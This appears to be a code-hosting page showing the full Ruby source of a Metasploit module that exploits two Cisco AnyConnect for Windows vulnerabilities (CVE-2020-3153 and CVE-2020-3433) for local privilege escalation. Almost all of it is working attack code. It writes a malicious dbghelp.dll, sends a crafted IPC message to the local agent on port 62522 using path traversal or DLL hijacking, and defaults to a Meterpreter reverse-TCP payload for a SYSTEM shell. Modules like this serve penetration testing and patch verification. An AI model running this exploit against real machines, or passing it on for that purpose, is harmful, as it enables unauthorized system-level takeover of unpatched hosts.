Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/local/anyconnect_lpe.rb
Views: 11655
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78include Msf::Post::Windows::Priv9include Msf::Post::Windows::FileInfo10include Msf::Post::File11include Msf::Exploit::EXE12include Msf::Exploit::FileDropper13prepend Msf::Exploit::Remote::AutoCheck1415def initialize(info = {})16super(17update_info(18info,19'Name' => 'Cisco AnyConnect Privilege Escalations (CVE-2020-3153 and CVE-2020-3433)',20'Description' => %q{21The installer component of Cisco AnyConnect Secure Mobility Client for Windows22prior to 4.8.02042 is vulnerable to path traversal and allows local attackers23to create/overwrite files in arbitrary locations with system level privileges.2425The installer component of Cisco AnyConnect Secure Mobility Client for Windows26prior to 4.9.00086 is vulnerable to a DLL hijacking and allows local attackers27to execute code on the affected machine with with system level privileges.2829Both attacks consist in sending a specially crafted IPC request to the TCP30port 62522 on the loopback device, which is exposed by the Cisco AnyConnect31Secure Mobility Agent service. This service will then launch the vulnerable32installer component (`vpndownloader`), which copies itself to an arbitrary33location (CVE-2020-3153) or with a supplied DLL (CVE-2020-3433) before being34executed with system privileges. Since `vpndownloader` is also vulnerable to DLL35hijacking, a specially crafted DLL (`dbghelp.dll`) is created at the same36location `vpndownloader` will be copied to get code execution with system37privileges.3839The CVE-2020-3153 exploit has been successfully tested against Cisco AnyConnect40Secure Mobility Client versions 4.5.04029, 4.5.05030 and 4.7.04056 on Windows 1041version 1909 (x64) and Windows 7 SP1 (x86); the CVE-2020-3434 exploit has been42successfully tested against Cisco AnyConnect Secure Mobility Client versions434.5.02036, 4.6.03049, 4.7.04056, 4.8.01090 and 4.8.03052 on Windows 10 version441909 (x64) and 4.7.4056 on Windows 7 SP1 (x64).45},46'License' => MSF_LICENSE,47'Author' => [48'Yorick Koster', # original PoC CVE-2020-3153, analysis49'Antoine Goichot (ATGO)', # PoC CVE-2020-3153, original PoC for CVE-2020-3433, update of msf module50'Christophe De La Fuente' # msf module for CVE-2020-315351],52'Platform' => 'win',53'Arch' => [ ARCH_X86, ARCH_X64 ],54'SessionTypes' => [ 'meterpreter' ],55'Targets' => [56[57'Windows x86/x64 with x86 payload',58{59'Arch' => ARCH_X8660}61]62],63'Privileged' => true,64'References' => [65['URL', 'https://ssd-disclosure.com/ssd-advisory-cisco-anyconnect-privilege-elevation-through-path-traversal/'],66['URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ac-win-path-traverse-qO4HWBsj'],67['CVE', '2020-3153'],68['URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-anyconnect-dll-F26WwJW'],69['CVE', '2020-3433']70],71'DisclosureDate' => '2020-08-05',72'Notes' => {73'SideEffects' => [ARTIFACTS_ON_DISK],74'Reliability' => [REPEATABLE_SESSION],75'Stability' => [CRASH_SAFE]76},77'DefaultTarget' => 0,78'DefaultOptions' => {79'PAYLOAD' => 'windows/meterpreter/reverse_tcp',80'FileDropperDelay' => 1081},82'Compat' => {83'Meterpreter' => {84'Commands' => %w[85core_channel_open86]87}88}89)90)9192register_options [93OptString.new('INSTALL_PATH', [94false,95'Cisco AnyConnect Secure Mobility Client installation path (where \'vpndownloader.exe\''\96' should be found). It will be automatically detected if not set.'97]),98OptEnum.new('CVE', [ true, 'Vulnerability to use', 'CVE-2020-3433', ['CVE-2020-3433', 'CVE-2020-3153']])99]100end101102# See AnyConnect IPC protocol articles:103# - https://www.serializing.me/2016/12/14/anyconnect-elevation-of-privileges-part-1/104# - https://www.serializing.me/2016/12/20/anyconnect-elevation-of-privileges-part-2/105# - https://www.serializing.me/2023/01/27/anyconnect-inter-process-communication/106class CIPCHeader < BinData::Record107endian :little108109uint32 :id_tag, label: 'ID Tag', value: 0x4353434f110uint16 :header_length, label: 'Header Length', initial_value: -> { num_bytes }111uint16 :data_length, label: 'Data Length', initial_value: -> { parent.body.num_bytes }112uint32 :ipc_repsonse_cb, label: 'IPC response CB', initial_value: 0xFFFFFFFF113uint32 :msg_user_context, label: 'Message User Context', initial_value: 0x00000000114uint32 :request_msg_id, label: 'Request Message Id', initial_value: 0x00000002115uint32 :return_ipc_object, label: 'Return IPC Object', initial_value: 0x00000000116uint8 :message_type, label: 'Message Type', initial_value: 1117uint8 :message_id, label: 'Message ID', initial_value: 2118end119120class CIPCTlv < BinData::Record121# TLVs are tricky when it comes to endieness. For the type and length fields, they're big endian, but122# for the value, they're little endian. For example, each UTF-16 character, is encoded in one little123# endian unsigned short. There is one exception to that rule: UTF-8 strings and TV (Type and Value)124# entries. Note that TVs, are the ones that have a Type like 0x80XX, which are used to store some125# booleans and unsigned shorts.126# This is why having the entire "BinData::Record" as big endian is not a problem in this case: the IPC127# message to which the vulnerabilit(ies) are associated, only makes use of UTF-8 strings and a boolean.128endian :big129130uint16 :msg_type, label: 'Type'131uint16 :msg_length, label: 'Length', initial_value: -> { msg_value.num_bytes }132stringz :msg_value, label: 'Value', length: -> { msg_length }133end134135class CIPCMessage < BinData::Record136endian :little137138cipc_header :header, label: 'Header'139array :body, label: 'Body', type: :cipc_tlv, read_until: :eof140end141142def detect_path143program_files_paths = Set.new([get_env('ProgramFiles')])144program_files_paths << get_env('ProgramFiles(x86)')145path = 'Cisco\\Cisco AnyConnect Secure Mobility Client'146147program_files_paths.each do |program_files_path|148next unless file_exist?([program_files_path, path, 'vpndownloader.exe'].join('\\'))149150return "#{program_files_path}\\#{path}"151end152153nil154end155156def sanitize_path(path)157return nil unless path158159path = path.strip160loop do161break if path.last != '\\'162163path.chop!164end165path166end167168def check169install_path = sanitize_path(datastore['INSTALL_PATH'])170if install_path&.!= ''171vprint_status("Skipping installation path detection and use provided path: #{install_path}")172@installation_path = file_exist?([install_path, 'vpndownloader.exe'].join('\\')) ? install_path : nil173else174vprint_status('Try to detect installation path...')175@installation_path = detect_path176end177178unless @installation_path179return CheckCode.Safe('vpndownloader.exe not found on file system')180end181182file_path = "#{@installation_path}\\vpndownloader.exe"183vprint_status("Found vpndownloader.exe path: '#{file_path}'")184185version = file_version(file_path)186unless version187return CheckCode.Unknown('Unable to retrieve vpndownloader.exe file version')188end189190cve_2020_3153 = (datastore['CVE'] == 'CVE-2020-3153')191192patched_version_cve_2020_3153 = Rex::Version.new('4.8.02042')193patched_version_cve_2020_3433 = Rex::Version.new('4.9.00086')194@ac_version = Rex::Version.new(version.join('.'))195if @ac_version < patched_version_cve_2020_3153196return CheckCode.Appears("Cisco AnyConnect version #{@ac_version} < #{patched_version_cve_2020_3153} (CVE-2020-3153 & CVE-2020-3433).")197elsif (@ac_version < patched_version_cve_2020_3433) && !cve_2020_3153198return CheckCode.Appears("Cisco AnyConnect version #{@ac_version} < #{patched_version_cve_2020_3433} (CVE-2020-3433).")199elsif (@ac_version < patched_version_cve_2020_3433) && cve_2020_3153200return CheckCode.Safe("Cisco AnyConnect version #{@ac_version} >= #{patched_version_cve_2020_3153} (However CVE-2020-3433 can be used).")201else202return CheckCode.Safe("Cisco AnyConnect version #{@ac_version} >= #{patched_version_cve_2020_3433}.")203end204end205206def exploit207fail_with(Failure::None, 'Session is already elevated') if is_system?208if !payload.arch.include?(ARCH_X86)209fail_with(Failure::None, 'Payload architecture is not compatible with this module. Please, select an x86 payload')210end211212check_result = check213print_status(check_result.message)214if check_result == CheckCode::Safe && !@installation_path215fail_with(Failure::NoTarget, 'Installation path not found (try to set INSTALL_PATH if automatic detection failed)')216end217218cac_cmd = '"CAC-nc-install'219if @ac_version && @ac_version >= Rex::Version.new('4.7')220vprint_status('"-ipc" argument needed')221cac_cmd << "\t-ipc=#{rand_text_numeric(5)}"222else223vprint_status('"-ipc" argument not needed')224end225226cve_2020_3153 = (datastore['CVE'] == 'CVE-2020-3153')227if cve_2020_3153228program_data_path = get_env('ProgramData')229dbghelp_path = "#{program_data_path}\\Cisco\\dbghelp.dll"230else231temp_path = get_env('TEMP')232junk = Rex::Text.rand_text_alphanumeric(6)233temp_path << "\\#{junk}"234mkdir(temp_path)235dbghelp_path = "#{temp_path}\\dbghelp.dll"236end237238print_status("Writing the payload to #{dbghelp_path}")239240begin241payload_dll = generate_payload_dll(dll_exitprocess: true)242write_file(dbghelp_path, payload_dll)243register_file_for_cleanup(dbghelp_path)244rescue ::Rex::Post::Meterpreter::RequestError => e245fail_with(Failure::NotFound, e.message)246end247248if cve_2020_3153249# vpndownloader.exe will be copied to "C:\ProgramData\Cisco\" (assuming the250# normal process will copy the file to251# "C:\ProgramData\Cisco\Cisco AnyConnect Secure Mobility Client\Temp\Installer\XXXX.tmp\")252register_file_for_cleanup("#{program_data_path}\\Cisco\\vpndownloader.exe")253junk = Rex::Text.rand_text_alphanumeric(4)254cac_cmd << "\t#{@installation_path}\\#{junk}\\#{junk}\\#{junk}\\#{junk}\\../../../../vpndownloader.exe\t-\""255else256cac_cmd << "\t#{@installation_path}\\vpndownloader.exe\t#{dbghelp_path}\""257end258259vprint_status("IPC Command: #{cac_cmd}")260261cipc_msg = CIPCMessage.new262cipc_msg.body << CIPCTlv.new(263msg_type: 2,264msg_value: cac_cmd265)266cipc_msg.body << CIPCTlv.new(267msg_type: 6,268msg_value: "#{@installation_path}\\vpndownloader.exe"269)270271vprint_status('Connecting to the AnyConnect agent on 127.0.0.1:62522')272begin273socket = client.net.socket.create(274Rex::Socket::Parameters.new(275'PeerHost' => '127.0.0.1',276'PeerPort' => 62522,277'Proto' => 'tcp'278)279)280rescue Rex::ConnectionError => e281fail_with(Failure::Unreachable, e.message)282end283284vprint_status("Send the encoded IPC command (size = #{cipc_msg.num_bytes} bytes)")285socket.write(cipc_msg.to_binary_s)286socket.flush287# Give FileDropper some time to cleanup before handing over to the operator288Rex.sleep(3)289ensure290if socket291vprint_status('Shutdown the socket')292socket.shutdown293end294end295296end297298299